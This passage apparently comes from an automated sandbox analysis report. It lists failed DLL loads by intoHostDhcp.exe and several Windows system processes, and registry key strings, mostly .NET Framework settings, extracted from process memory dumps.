"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "csrss.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "csrss.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "csrss.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "csrss.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "csrss.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "csrss.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "csrss.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "csrss.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "dllhost.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "dllhost.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "dllhost.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "dllhost.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "dllhost.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "dllhost.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "dllhost.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "dllhost.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "wininit.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "wininit.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "wininit.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "wininit.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "wininit.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "wininit.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "wininit.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "wininit.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "wininit.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "wininit.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "wininit.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "wininit.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "OSPPSVC.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "OSPPSVC.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "OSPPSVC.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "OSPPSVC.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "OSPPSVC.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "OSPPSVC.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "OSPPSVC.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "OSPPSVC.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "conhost.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "conhost.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "conhost.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "conhost.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "conhost.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "conhost.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "conhost.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "conhost.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "dllhost.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135]3f:T10182,"System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePo" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooP" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoo" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousC" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecomposit" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPart" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPar" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpat" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpa" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxR" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificat" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityPro" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00000824.00000001.86570.01C00000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePo" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooP" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoo" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousC" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecomposit" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPart" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPar" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpat" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpa" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxR" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificat" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityPro" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00001572.00000003.84004.01E30000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00001920.00000002.82354.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00001920.00000002.82354.01E10000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001920.00000002.82354.01E10000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00001920.00000002.82354.01E10000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001920.00000002.82354.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00001920.00000002.82354.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePo" in Source: 00000000-00001920.00000002.82354.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00001920.00000002.82354.01E10000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00001920.00000002.82354.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00001920.00000002.82354.01E10000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00001920.00000002.82354.01E10000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00001920.00000003.86942.04BD0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001920.00000003.86942.04BD0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePo" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooP" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoo" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousC" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecomposit" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPart" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPar" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpat" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpa" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxR" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificat" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityPro" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00003024.00000001.86003.01D70000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHt" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoop" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoo" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousC" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00003284.00000001.85400.021F0000.00000004.mdmp 